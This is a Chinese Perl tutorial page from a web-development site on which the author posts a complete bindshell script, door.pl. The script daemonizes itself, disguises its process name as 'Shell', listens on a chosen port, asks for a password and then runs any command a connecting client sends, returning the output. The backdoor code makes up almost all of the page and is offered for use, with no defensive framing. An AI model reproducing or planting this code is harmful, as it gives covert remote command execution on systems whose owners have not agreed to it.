用户名: 密   码:
   飞诺网 加入收藏
飞诺网 网站开发 VBScript ASP Asp.net Jsp php XML CGI-Perl 搜索引擎 ajax web技术
CGI-Perl系列教程 CGI-Perl技术文档 CGI-Perl实例

您当前的位置:飞诺网 >>  网站开发 >>  CGI-Perl >> CGI-Perl实例

用perl写了简单的bindshell,

www.diybl.com    时间 : 2008-10-13  作者:佚名   编辑:本站 点击:   [ 评论 ]



闲来无事,写了一个超级简单的bindshell,客户端可以连接上去,可以当作最简单的shell使用,
   door.pl以守护进程方式启动,,代码简单如下:
       #!/usr/bin/perl -w
use strict;
use Getopt::Std;
use IO::Socket;
use POSIX;
my $PASS="ak7JGs5/E5JCQ";
my $PORT=undef;
my $IP=undef;
my $socket=undef;
my $PROC="Shell";
$0=$PROC;
 
sub main
{
        &check_args;
        &daemon;
        &make_sock;
        &accept;
}

sub check_args
{
 my %args=();
 getopts("i:p:",\%args);
 if(defined $args{'i'} and defined $args{'p'}){
  $IP=$args{'i'};
  $PORT=$args{'p'};
  return 1;
 }else{
  my $info="Usage:$0 -i ipaddress -p port\nbind the Ip and listen on the Port ,waiting for client connect.\n\n this programe need two arguments,and the aguments means:\n\n -i \t\t\t\tThe ipaddress to bind\n -p \t\t\t\tListen port\ncurrent version is 1.01\nReport bugs to <027xiatian\@163.com>.\n";
  print $info;
  exit;
 }
}

sub daemon
{
 my $daemon=fork();
 exit 0 if($daemon);
        open( STDOUT, ">/dev/null" );
 open( STDIN, "</dev/null");
        open( STDERR, ">&STDOUT" );
 setsid();
 chdir("/root");
 umask 0;
 $ENV{PATH} = "/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin";
}
sub make_sock
{
 $socket=IO::Socket::INET->new(
  LocalHost=>$IP,
  LocalPort=>$PORT,
  Listen=>100,
  Rescue=>1,
  TimeOut=>15) or do {warn "make socket err\n";exit;};
}
sub accept
{
 while(1){
  while(defined(my $connect=$socket->accept())){
   
   $connect->flush();
   my $pid=fork();
   if($pid){
    $SIG{CHLD}=sub {while((my $child=waitpid(-1,WNOHANG))>0) {}};
   }else{
    &Pass_check($connect);
    &ExecuteShell($connect);
   }
  }

        }

sub Pass_check
{
 my $sock=shift;
 my $banner="\n\tWelecome to use bindshell v.10 by summer \r\n\nPassword:";
 print $sock $banner;
 while(defined(my $info=<$sock>)){
  $info=~ s/\r//g;
  $info=~ s/\n//g;
  if(crypt($info,$PASS) eq $PASS){
   print $sock("\r\n#");
   return 1;
  }else{
   print $sock("\r\n Password incorrect\r\nPassword:");
  }
 }
}
sub ExecuteShell
{
 my $con=shift;
 local $SIG{ALRM}=sub { print $con("\tcommand Timeout fail !\r\n");next;};
 while(defined(my $cmd=<$con>)){
  chomp($cmd);
  if ($cmd =~ /^exit$|^exit\r$/){
   print $con("Exiting .....\r\n");
   exit;
  }
  my @cmd=("\tcommand execute!");
  eval {
   alarm(3);
   @cmd=qx/$cmd 2>&1/;
   alarm(0);
   chomp(@cmd);
  };
    foreach my $line (@cmd){
      print $con("$line\r\n");
   }
  print $con "\r\n#";
 }
}
main()
 
很明显的问题就是没有shell和bash的终端属性,命令不能后退,敲错命令得重来,相当的拙劣,呵呵,,
如果图片或页面不能正常显示请点击这里
CGI-Perl实例推荐文章

文章评论